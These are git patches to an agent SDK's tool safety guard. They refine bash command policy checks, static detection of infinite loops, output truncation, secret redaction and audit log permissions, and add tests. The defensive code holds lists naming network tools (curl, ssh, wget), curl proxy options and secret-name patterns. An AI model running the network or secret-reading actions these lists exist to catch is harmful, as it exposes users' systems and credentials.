a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -88,6 +88,16 @@ def test_jsonl_audit_secures_existing_file(tmp_path): assert stat.S_IMODE(path.stat().st_mode) == 0o600 +@pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") +def test_jsonl_audit_secures_new_parent_directories(tmp_path): + path = tmp_path / "nested" / "deeper" / "audit.jsonl" + + JsonlAuditSink(path).emit(create_audit_event(_report(), "Bash", True)) + + assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700 + assert stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 + + @pytest.mark.skipif(os.name != "posix", reason="POSIX symlink contract") def test_jsonl_audit_rejects_symlink(tmp_path): target = tmp_path / "target.txt" diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 57e1959b4..93baf1fc9 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -111,6 +111,13 @@ def test_list_output_truncation_is_visible_with_small_budget(): assert result[-1] == "[T]" +def test_string_output_truncation_is_visible(): + original = "x" * 20 + result = truncate_output(original, 10) + assert result != original + assert result == "x" * 10 + + @pytest.mark.parametrize( "code", [ @@ -260,6 +267,21 @@ def test_shell_keywords_do_not_create_command_policy_noise(guard, command): assert "POLICY002" not in _rule_ids(report) +def test_non_whitelisted_command_after_shell_keyword_is_reviewed(guard): + report = guard.scan( + _request( + "for value in ok\n" + "do whoami\n" + "done\n" + "if echo ok\n" + "then whoami\n" + "else whoami\n" + "fi", + ScriptLanguage.BASH, + )) + assert "POLICY002" in _rule_ids(report) + + def test_timeout_over_policy_requires_review(guard): report = guard.scan(_request("print('ok')", timeout=31)) assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index dfec3cf9c..59e034a0e 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -79,7 +79,14 @@ def emit(self, event: SafetyAuditEvent) -> None: """Append and flush one JSON event.""" line = event.model_dump_json() + "\n" try: + missing_parents = [] + parent = self._path.parent + while not parent.exists(): + missing_parents.append(parent) + parent = parent.parent self._path.parent.mkdir(parents=True, exist_ok=True) + for directory in missing_parents: + directory.chmod(0o700) with self._lock: with _open_secure_file(self._path) as stream: stream.write(line) diff --git a/trpc_agent_sdk/tools/safety/_bash_rules.py b/trpc_agent_sdk/tools/safety/_bash_rules.py index da6963768..0fef46252 100644 --- a/trpc_agent_sdk/tools/safety/_bash_rules.py +++ b/trpc_agent_sdk/tools/safety/_bash_rules.py @@ -54,6 +54,7 @@ "until", "while", }) +_COMMAND_PREFIX_KEYWORDS = frozenset({"do", "else", "then"}) _PROCESS_RUNNERS = frozenset({"chrt", "ionice", "nice", "setsid", "stdbuf", "taskset", "timeout", "xargs"}) _NETWORK_COMMANDS = frozenset({"curl", "ssh", "wget"}) _CURL_REMAP_OPTIONS = ("--config", "--connect-to", "--proxy", "--resolve", "-K", "-x") @@ -148,6 +149,13 @@ def _command_name(segment: str) -> str: return os.path.basename(tokens[0]).lower() +def _policy_command_name(segment: str) -> str: + tokens = _command_tokens(_tokens(segment)) + while tokens and os.path.basename(tokens[0]).lower() in _COMMAND_PREFIX_KEYWORDS: + tokens = _command_tokens(tokens[1:]) + return os.path.basename(tokens[0]).lower() if tokens else "" + + def _unwrap_tokens(tokens: list[str]) -> list[str]: result = list(tokens) while result: @@ -336,7 +344,7 @@ def _check_commands(text: str, policy: ToolSafetyPolicy, allowed = {os.path.basename(item).lower() for item in policy.allowed_commands} redacted = False for segment in _COMMAND_SPLIT_RE.split(text): - name = _command_name(segment.strip()) + name = _policy_command_name(segment.strip()) if name and name not in allowed and name not in _SHELL_KEYWORDS: finding, changed = make_finding("POLICY002", name, COMMAND_REVIEW, sanitizer) findings.append(finding) From e3d72566dc2f7fef6ac1f279628883fa881586c7 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 16:01:54 +0800 Subject: [PATCH 15/29] fix(safety): make truncation and audit checks observable - add visible truncation markers for string and list outputs - cover zero-budget truncation and os.open fail-closed behavior - harden JsonlAuditSink directory permissions and keep tests portable --- tests/tools/safety/test_adapters.py | 2 +- .../tools/safety/test_audit_and_telemetry.py | 34 +++++++++++++++---- tests/tools/safety/test_scanner.py | 30 ++++++++++++++-- trpc_agent_sdk/tools/safety/_sanitizer.py | 23 +++++++++++-- 4 files changed, 77 insertions(+), 12 deletions(-) diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py index a31b9cf19..bdb09ed61 100644 --- a/tests/tools/safety/test_adapters.py +++ b/tests/tools/safety/test_adapters.py @@ -134,7 +134,7 @@ def test_bash_tool_family_sets_path_context(): _policy(), ) assert request.execution_home == str(Path.home()) - assert request.execution_root == Path("/workspace").anchor + assert request.execution_root == Path("/workspace").resolve().anchor def test_unknown_tool_with_code_field_is_scanned_conservatively(): diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index fef16dd03..ee3f04bc6 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -25,6 +25,7 @@ from trpc_agent_sdk.tools.safety import SafetyReport from trpc_agent_sdk.tools.safety._audit import create_audit_event from trpc_agent_sdk.tools.safety._audit import emit_report +from trpc_agent_sdk.tools.safety._audit import _open_secure_file from trpc_agent_sdk.tools.safety._audit import _shared_sink_lock from trpc_agent_sdk.tools.safety._audit import set_safety_span_attributes from trpc_agent_sdk.tools.safety._audit import _PATH_LOCKS @@ -77,25 +78,44 @@ def test_path_lock_is_weakly_held(tmp_path): del sink -@pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") def test_jsonl_audit_secures_existing_file(tmp_path): path = tmp_path / "audit.jsonl" - path.write_text("", encoding="utf-8") - path.chmod(0o644) + if os.name == "posix": + path.write_text("", encoding="utf-8") + path.chmod(0o644) JsonlAuditSink(path).emit(create_audit_event(_report(), "Bash", True)) - assert stat.S_IMODE(path.stat().st_mode) == 0o600 + if os.name == "posix": + assert stat.S_IMODE(path.stat().st_mode) == 0o600 -@pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") def test_jsonl_audit_secures_new_parent_directories(tmp_path): path = tmp_path / "nested" / "deeper" / "audit.jsonl" JsonlAuditSink(path).emit(create_audit_event(_report(), "Bash", True)) - assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700 - assert stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 + assert path.parent.exists() + assert path.parent.parent.exists() + if os.name == "posix": + assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700 + assert stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 + + +def test_jsonl_audit_applies_posix_fchmod(monkeypatch, tmp_path): + path = tmp_path / "audit.jsonl" + fchmod = MagicMock() + monkeypatch.setattr( + "trpc_agent_sdk.tools.safety._audit.os.name", + "posix", + raising=False, + ) + monkeypatch.setattr("trpc_agent_sdk.tools.safety._audit.os.fchmod", fchmod) + + with _open_secure_file(path) as stream: + stream.write("audit\n") + + fchmod.assert_called_once() @pytest.mark.skipif(os.name != "posix", reason="POSIX symlink contract") diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 93baf1fc9..76594bea5 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -115,7 +115,13 @@ def test_string_output_truncation_is_visible(): original = "x" * 20 result = truncate_output(original, 10) assert result != original - assert result == "x" * 10 + assert result == "x" * 7 + "[T]" + + +def test_truncation_with_zero_budget_is_visible(): + assert truncate_output("x" * 20, 0) == "" + assert truncate_output(["x" * 20], 0) == [""] + assert truncate_output("x" * 20, 1) == "!" @pytest.mark.parametrize( @@ -366,7 +372,7 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): assert stdin_language("python -c code") is None assert stdin_language("python script.py") is None assert path_is_system_location("/") is True - assert truncate_output("hello", 3) == "hel" + assert truncate_output("hello", 3) == "[T]" assert truncate_output(["hello", 42, "world"], 6) == ["hel", 42, "", "[T]"] assert truncate_output(["x" * 5, "y" * 20], 20)[-1] == "[TRUNCATED]" assert truncate_output(42, 3) == 42 @@ -374,6 +380,26 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): SafetySanitizer(0) +def test_os_open_source_segment_unicode_error_fails_closed(monkeypatch, guard): + request = _request("import os\nos.open('/etc/tool-safety', flags)") + visitor = PythonRuleVisitor( + _PythonScanContext( + "import os\nos.open('/etc/tool-safety', flags)", + request, + guard.policy, + guard.sanitizer, + )) + call = ast.parse("os.open(path, flags)").body[0].value + + def _raise_unicode_error(*args, **kwargs): + del args, kwargs + raise UnicodeError("bad source") + + monkeypatch.setattr(ast, "get_source_segment", _raise_unicode_error) + + assert visitor._is_write_call(call, "os.open") is True + + def test_python_rule_fallback_helpers_are_bounded(guard): request = _request("") visitor = PythonRuleVisitor(_PythonScanContext("", request, guard.policy, guard.sanitizer)) diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index 2c9540efa..bcc8364b8 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -14,6 +14,7 @@ REDACTED_SECRET = "[REDACTED_SECRET]" REDACTED_PRIVATE_KEY = "[REDACTED_PRIVATE_KEY]" _OUTPUT_KEYS = ("stdout", "stderr", "output") +_TRUNCATION_MARKER = "[TRUNCATED]" _PRIVATE_KEY_RE = re.compile( r"-----BEGIN [^-]*PRIVATE KEY-----.*?-----END [^-]*PRIVATE KEY-----", @@ -78,6 +79,8 @@ def sanitize(self, value: object) -> tuple[str, bool]: def truncate_text(value: str, max_bytes: int) -> tuple[str, bool]: """Truncate text at a valid UTF-8 boundary.""" + if max_bytes <= 0: + return "", bool(value) encoded = value.encode("utf-8") if len(encoded) <= max_bytes: return value, False @@ -88,11 +91,17 @@ def truncate_text(value: str, max_bytes: int) -> tuple[str, bool]: def truncate_output(value: Any, max_bytes: int) -> Any: """Limit common Tool output fields without changing unrelated data.""" if isinstance(value, str): - return truncate_text(value, max_bytes)[0] + limited, changed = truncate_text(value, max_bytes) + if not changed or max_bytes <= 0: + return limited + marker = _truncation_marker(max_bytes) + marker_bytes = len(marker.encode("utf-8")) + content, _ = truncate_text(value, max(max_bytes - marker_bytes, 0)) + return content + marker if isinstance(value, list): result = list(value) remaining = max_bytes - marker = "[TRUNCATED]" if max_bytes >= len("[TRUNCATED]") else ("[T]" if max_bytes >= 3 else "!") + marker = _truncation_marker(max_bytes) marker_bytes = len(marker.encode("utf-8")) string_bytes = sum(len(item.encode("utf-8")) for item in result if isinstance(item, str)) reserve_marker = max_bytes > 0 and string_bytes > max_bytes @@ -125,3 +134,13 @@ def truncate_output(value: Any, max_bytes: int) -> Any: if was_truncated: result["truncated"] = True return result + + +def _truncation_marker(max_bytes: int) -> str: + if max_bytes >= len(_TRUNCATION_MARKER): + return _TRUNCATION_MARKER + if max_bytes >= 3: + return "[T]" + if max_bytes > 0: + return "!" + return "" From 7bfa86255c48ba4e0c89988c861d3754e50ad9a5 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 16:31:58 +0800 Subject: [PATCH 16/29] fix(safety): avoid literal loop condition materialization - replace literal_eval truthiness with structural checks - deny large repeated literal while conditions without allocation - make example acceptance import independent of cwd --- tests/tools/safety/test_cli_and_acceptance.py | 6 +- tests/tools/safety/test_scanner.py | 47 ++++++++++- trpc_agent_sdk/tools/safety/_python_rules.py | 83 ++++++++++++++++--- 3 files changed, 122 insertions(+), 14 deletions(-) diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index b46ad168b..f72162381 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -6,9 +6,10 @@ """Public sample corpus and CLI acceptance tests.""" import asyncio +import importlib +import sys from pathlib import Path -import examples.tool_safety_guard.mcp_server as mcp_server import pytest import yaml @@ -24,6 +25,9 @@ REPO_ROOT = Path(__file__).resolve().parents[3] EXAMPLE_DIR = REPO_ROOT / "examples/tool_safety_guard" +sys.path.insert(0, str(REPO_ROOT)) + +mcp_server = importlib.import_module("examples.tool_safety_guard.mcp_server") def _results(): diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 76594bea5..5ab05a350 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -26,6 +26,9 @@ from trpc_agent_sdk.tools.safety._python_rules import _PythonScanContext from trpc_agent_sdk.tools.safety._python_rules import PythonRuleVisitor from trpc_agent_sdk.tools.safety._python_rules import _static_truthy +from trpc_agent_sdk.tools.safety._python_rules import _static_truthiness +from trpc_agent_sdk.tools.safety._python_rules import _static_value +from trpc_agent_sdk.tools.safety._python_rules import _UNKNOWN_VALUE from trpc_agent_sdk.tools.safety._scanner import MAX_NESTED_PAYLOAD_DEPTH @@ -448,13 +451,55 @@ def test_large_write_and_python_syntax_error_are_reported(guard): assert "PY001" in _rule_ids(syntax_error) -@pytest.mark.parametrize("code", ["while 1:\n pass", "while 1 == 1:\n pass", "while not 0:\n pass"]) +@pytest.mark.parametrize( + "code", + [ + "while 1:\n pass", + "while 1 == 1:\n pass", + "while not 0:\n pass", + "while [0] * 100000000:\n pass", + "while \"x\" * 100000000:\n pass", + ], +) def test_python_truthy_constant_loops_are_denied(guard, code): report = guard.scan(_request(code)) assert report.decision == SafetyDecision.DENY assert "RES001" in _rule_ids(report) +def test_static_truthiness_handles_mult_without_materializing(): + assert _static_truthiness(ast.parse("[] * 100000000", mode="eval").body) is False + assert _static_truthiness(ast.parse('"x" * 100000000', mode="eval").body) is True + assert _static_truthiness(ast.parse("3 * \"x\"", mode="eval").body) is True + assert _static_truthiness(ast.parse("1 * 2", mode="eval").body) is None + assert _static_truthiness(ast.parse("1 + 1", mode="eval").body) is None + + +def test_static_value_handles_literal_containers_and_rejects_unhashable(): + assert _static_value(ast.parse("(1, 'x')", mode="eval").body) == (1, "x") + assert _static_value(ast.parse("[1, 'x']", mode="eval").body) == [1, "x"] + assert _static_value(ast.parse("{1, 'x'}", mode="eval").body) == {1, "x"} + assert _static_value(ast.parse("{'k': 1}", mode="eval").body) == {"k": 1} + + bad_set = ast.Set(elts=[ast.Tuple(elts=[ast.List(elts=[ast.Constant(1)])], ctx=ast.Load())]) + bad_dict = ast.Dict( + keys=[ast.Tuple(elts=[ast.List(elts=[ast.Constant(1)])], ctx=ast.Load())], + values=[ast.Constant(1)], + ) + unknown_call = ast.Call(func=ast.Name(id="dynamic", ctx=ast.Load()), args=[], keywords=[]) + unknown_tuple = ast.Tuple(elts=[unknown_call], ctx=ast.Load()) + unknown_list = ast.List(elts=[unknown_call], ctx=ast.Load()) + unknown_set = ast.Set(elts=[unknown_call]) + unknown_dict = ast.Dict(keys=[None], values=[ast.Constant(1)]) + + assert _static_value(bad_set) is _UNKNOWN_VALUE + assert _static_value(bad_dict) is _UNKNOWN_VALUE + assert _static_value(unknown_tuple) is _UNKNOWN_VALUE + assert _static_value(unknown_list) is _UNKNOWN_VALUE + assert _static_value(unknown_set) is _UNKNOWN_VALUE + assert _static_value(unknown_dict) is _UNKNOWN_VALUE + + @pytest.mark.parametrize( "command", [ diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 599928847..9ea0b9c68 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -38,24 +38,21 @@ {"print", "logging.info", "logging.warning", "logging.error", "logger.info", "logger.warning", "logger.error"}) _SECRET_NAME_RE = re.compile( r"(?i)(api[_-]?key|access[_-]?key|authorization|credential|token|password|passwd|secret|private[_-]?key)") +_UNKNOWN_VALUE = object() def _static_truthy(node: ast.AST) -> bool: """Return whether a literal loop condition is statically true.""" if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not): - try: - return not bool(ast.literal_eval(node.operand)) - except (ValueError, TypeError, SyntaxError): - return False - try: - return bool(ast.literal_eval(node)) - except (ValueError, TypeError, SyntaxError): - pass + truthiness = _static_truthiness(node.operand) + return False if truthiness is None else not truthiness + truthiness = _static_truthiness(node) + if truthiness is not None: + return truthiness if isinstance(node, ast.Compare) and len(node.ops) == 1 and len(node.comparators) == 1: - try: - left = ast.literal_eval(node.left) - right = ast.literal_eval(node.comparators[0]) - except (ValueError, TypeError, SyntaxError): + left = _static_value(node.left) + right = _static_value(node.comparators[0]) + if left is _UNKNOWN_VALUE or right is _UNKNOWN_VALUE: return False comparisons = { ast.Eq: operator.eq, @@ -74,6 +71,68 @@ def _static_truthy(node: ast.AST) -> bool: return False +def _static_truthiness(node: ast.AST) -> bool | None: + value = _static_value(node) + if value is not _UNKNOWN_VALUE: + return bool(value) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mult): + left = _static_value(node.left) + right = _static_value(node.right) + if isinstance(left, (str, bytes, list, tuple)) and isinstance(right, int) and not isinstance(right, bool): + return bool(left) and right != 0 + if isinstance(right, (str, bytes, list, tuple)) and isinstance(left, int) and not isinstance(left, bool): + return bool(right) and left != 0 + return None + return None + + +def _static_value(node: ast.AST) -> object: + if isinstance(node, ast.Constant): + return node.value + if isinstance(node, ast.Tuple): + values = [] + for element in node.elts: + value = _static_value(element) + if value is _UNKNOWN_VALUE: + return _UNKNOWN_VALUE + values.append(value) + return tuple(values) + if isinstance(node, ast.List): + values = [] + for element in node.elts: + value = _static_value(element) + if value is _UNKNOWN_VALUE: + return _UNKNOWN_VALUE + values.append(value) + return values + if isinstance(node, ast.Set): + values = [] + for element in node.elts: + value = _static_value(element) + if value is _UNKNOWN_VALUE: + return _UNKNOWN_VALUE + values.append(value) + try: + return set(values) + except TypeError: + return _UNKNOWN_VALUE + if isinstance(node, ast.Dict): + keys = [] + values = [] + for key, value in zip(node.keys, node.values): + key_value = _static_value(key) if key is not None else _UNKNOWN_VALUE + value_value = _static_value(value) + if key_value is _UNKNOWN_VALUE or value_value is _UNKNOWN_VALUE: + return _UNKNOWN_VALUE + keys.append(key_value) + values.append(value_value) + try: + return dict(zip(keys, values)) + except TypeError: + return _UNKNOWN_VALUE + return _UNKNOWN_VALUE + + FILE_DELETE = RuleSpec( RiskCategory.FILE, RiskLevel.CRITICAL, From 0a0a1496f6adb73e8ab644dce1ca49627a13a82b Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 16:56:28 +0800 Subject: [PATCH 17/29] fix(safety): truncate formatted bash output Prioritize formatted_output so BashTool responses cannot return oversized agent-facing output after stdout/stderr are clipped. --- tests/tools/safety/test_scanner.py | 7 +++++++ trpc_agent_sdk/tools/safety/_sanitizer.py | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 5ab05a350..f46445b80 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -127,6 +127,13 @@ def test_truncation_with_zero_budget_is_visible(): assert truncate_output("x" * 20, 1) == "!" +def test_formatted_output_is_truncated(): + result = truncate_output({"stdout": "y" * 20, "formatted_output": "x" * 20}, 10) + assert result["formatted_output"] == "x" * 10 + assert result["stdout"] == "" + assert result["truncated"] is True + + @pytest.mark.parametrize( "code", [ diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index bcc8364b8..ba8faad9a 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -13,7 +13,7 @@ DEFAULT_EVIDENCE_CHARS = 240 REDACTED_SECRET = "[REDACTED_SECRET]" REDACTED_PRIVATE_KEY = "[REDACTED_PRIVATE_KEY]" -_OUTPUT_KEYS = ("stdout", "stderr", "output") +_OUTPUT_KEYS = ("formatted_output", "stdout", "stderr", "output") _TRUNCATION_MARKER = "[TRUNCATED]" _PRIVATE_KEY_RE = re.compile( From e64d987213252583517f42314ec0fc63c5e44e4d Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 17:23:26 +0800 Subject: [PATCH 18/29] fix(safety): tighten output and truthiness checks - truncate all string fields in tool output dicts - treat numeric multiplication in loop conditions as static truthy - avoid chmodding cwd for plain relative audit paths --- .../tools/safety/test_audit_and_telemetry.py | 21 +++++++++++++++++++ tests/tools/safety/test_scanner.py | 15 ++++++++++++- trpc_agent_sdk/tools/safety/_audit.py | 2 ++ trpc_agent_sdk/tools/safety/_python_rules.py | 11 ++++++++++ trpc_agent_sdk/tools/safety/_sanitizer.py | 4 +++- 5 files changed, 51 insertions(+), 2 deletions(-) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index ee3f04bc6..de0304947 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -102,6 +102,27 @@ def test_jsonl_audit_secures_new_parent_directories(tmp_path): assert stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 +@pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") +def test_jsonl_audit_secures_existing_parent_directory(tmp_path): + parent = tmp_path / "audit" + parent.mkdir() + parent.chmod(0o755) + + JsonlAuditSink(parent / "audit.jsonl").emit(create_audit_event(_report(), "Bash", True)) + + assert stat.S_IMODE(parent.stat().st_mode) == 0o700 + + +@pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") +def test_jsonl_audit_does_not_chmod_cwd_for_plain_relative_path(monkeypatch, tmp_path): + tmp_path.chmod(0o755) + monkeypatch.chdir(tmp_path) + + JsonlAuditSink("audit.jsonl").emit(create_audit_event(_report(), "Bash", True)) + + assert stat.S_IMODE(tmp_path.stat().st_mode) == 0o755 + + def test_jsonl_audit_applies_posix_fchmod(monkeypatch, tmp_path): path = tmp_path / "audit.jsonl" fchmod = MagicMock() diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index f46445b80..2566cc441 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -134,6 +134,13 @@ def test_formatted_output_is_truncated(): assert result["truncated"] is True +def test_dict_string_fields_share_output_budget(): + result = truncate_output({"data": "x" * 20, "metadata": 42}, 10) + assert result["data"] == "x" * 10 + assert result["metadata"] == 42 + assert result["truncated"] is True + + @pytest.mark.parametrize( "code", [ @@ -466,6 +473,8 @@ def test_large_write_and_python_syntax_error_are_reported(guard): "while not 0:\n pass", "while [0] * 100000000:\n pass", "while \"x\" * 100000000:\n pass", + "while 1 * 2:\n pass", + "while 2 * 3:\n pass", ], ) def test_python_truthy_constant_loops_are_denied(guard, code): @@ -478,7 +487,11 @@ def test_static_truthiness_handles_mult_without_materializing(): assert _static_truthiness(ast.parse("[] * 100000000", mode="eval").body) is False assert _static_truthiness(ast.parse('"x" * 100000000', mode="eval").body) is True assert _static_truthiness(ast.parse("3 * \"x\"", mode="eval").body) is True - assert _static_truthiness(ast.parse("1 * 2", mode="eval").body) is None + assert _static_truthiness(ast.parse("1 * 2", mode="eval").body) is True + assert _static_truthiness(ast.parse("1 * 0", mode="eval").body) is False + assert _static_truthiness(ast.parse("True * 2", mode="eval").body) is None + assert _static_truthiness(ast.parse(f"{10 ** 400} * 1", mode="eval").body) is True + assert _static_truthiness(ast.parse("dynamic * 2", mode="eval").body) is None assert _static_truthiness(ast.parse("1 + 1", mode="eval").body) is None diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index 59e034a0e..dd6057b97 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -85,6 +85,8 @@ def emit(self, event: SafetyAuditEvent) -> None: missing_parents.append(parent) parent = parent.parent self._path.parent.mkdir(parents=True, exist_ok=True) + if self._path.parent != Path("."): + self._path.parent.chmod(0o700) for directory in missing_parents: directory.chmod(0o700) with self._lock: diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 9ea0b9c68..a3c80f5a8 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -9,6 +9,7 @@ import ast from dataclasses import dataclass +import math import operator import re import shlex @@ -78,6 +79,8 @@ def _static_truthiness(node: ast.AST) -> bool | None: if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mult): left = _static_value(node.left) right = _static_value(node.right) + if _finite_number(left) and _finite_number(right): + return bool(left * right) if isinstance(left, (str, bytes, list, tuple)) and isinstance(right, int) and not isinstance(right, bool): return bool(left) and right != 0 if isinstance(right, (str, bytes, list, tuple)) and isinstance(left, int) and not isinstance(left, bool): @@ -86,6 +89,14 @@ def _static_truthiness(node: ast.AST) -> bool | None: return None +def _finite_number(value: object) -> bool: + if isinstance(value, bool): + return False + if isinstance(value, int): + return True + return isinstance(value, float) and math.isfinite(value) + + def _static_value(node: ast.AST) -> object: if isinstance(node, ast.Constant): return node.value diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index ba8faad9a..b9b2b5532 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -123,7 +123,9 @@ def truncate_output(value: Any, max_bytes: int) -> Any: result = dict(value) was_truncated = False remaining = max_bytes - for key in _OUTPUT_KEYS: + keys = list(_OUTPUT_KEYS) + keys.extend(key for key in result if key not in _OUTPUT_KEYS) + for key in keys: item = result.get(key) if not isinstance(item, str): continue From f88eb981134132180c4066aa0841bfb9f29b9b37 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 18:21:50 +0800 Subject: [PATCH 19/29] fix(safety): harden audit failure handling - avoid leaking audit exception text in safety reports - preserve timeout_sec float injection for workspace tools - drain MCP subprocess output after timeout - simplify audit directory permission handling --- examples/tool_safety_guard/mcp_server.py | 8 +++-- .../tools/safety/test_audit_and_telemetry.py | 1 - tests/tools/safety/test_cli_and_acceptance.py | 35 +++++++++++++++++++ tests/tools/safety/test_code_executor.py | 21 +++++++++++ tests/tools/safety/test_filter.py | 12 +++++++ trpc_agent_sdk/tools/safety/_audit.py | 7 ---- trpc_agent_sdk/tools/safety/_integration.py | 2 ++ trpc_agent_sdk/tools/safety/_sanitizer.py | 7 ++-- trpc_agent_sdk/tools/safety/_scanner.py | 5 +-- 9 files changed, 81 insertions(+), 17 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 91c7a0fc6..43d0081be 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -90,22 +90,24 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: timeout=request.effective_timeout_seconds, ) except asyncio.TimeoutError: + reap_timed_out = False try: process.kill() except ProcessLookupError: pass try: await asyncio.wait_for( - process.wait(), + process.communicate(), timeout=PROCESS_REAP_TIMEOUT_SECONDS, ) - except (asyncio.TimeoutError, ProcessLookupError): - pass + except (asyncio.TimeoutError, ProcessLookupError, RuntimeError, ValueError): + reap_timed_out = True response = { "return_code": None, "stdout": "", "stderr": "Command exceeded the tool safety timeout.", "timed_out": True, + "reap_timed_out": reap_timed_out, } return GUARD.limit_output(response) response = { diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index de0304947..0511a8a11 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -99,7 +99,6 @@ def test_jsonl_audit_secures_new_parent_directories(tmp_path): assert path.parent.parent.exists() if os.name == "posix": assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700 - assert stat.S_IMODE(path.parent.parent.stat().st_mode) == 0o700 @pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index f72162381..d339b4d3e 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -164,8 +164,10 @@ async def test_mcp_timeout_reap_is_bounded(monkeypatch): class _HungProcess: returncode = None killed = False + communicate_calls = 0 async def communicate(self): + self.communicate_calls += 1 await asyncio.sleep(60) async def wait(self): @@ -192,10 +194,42 @@ def track_limit_output(response): monkeypatch.setattr(mcp_server.GUARD, "limit_output", track_limit_output) result = await mcp_server.execute_command("echo ok", timeout=0.01) assert process.killed is True + assert process.communicate_calls == 2 assert result["timed_out"] is True + assert result["reap_timed_out"] is True assert limited == [result] +@pytest.mark.asyncio +async def test_mcp_timeout_handles_reap_communicate_error(monkeypatch): + + class _FailedReapProcess: + returncode = None + killed = False + communicate_calls = 0 + + async def communicate(self): + self.communicate_calls += 1 + if self.communicate_calls == 1: + await asyncio.sleep(60) + raise RuntimeError("pipe already closing") + + def kill(self): + self.killed = True + + process = _FailedReapProcess() + + async def create_process(*args, **kwargs): + del args, kwargs + return process + + monkeypatch.setattr(mcp_server.asyncio, "create_subprocess_exec", create_process) + result = await mcp_server.execute_command("echo ok", timeout=0.01) + assert process.killed is True + assert result["timed_out"] is True + assert result["reap_timed_out"] is True 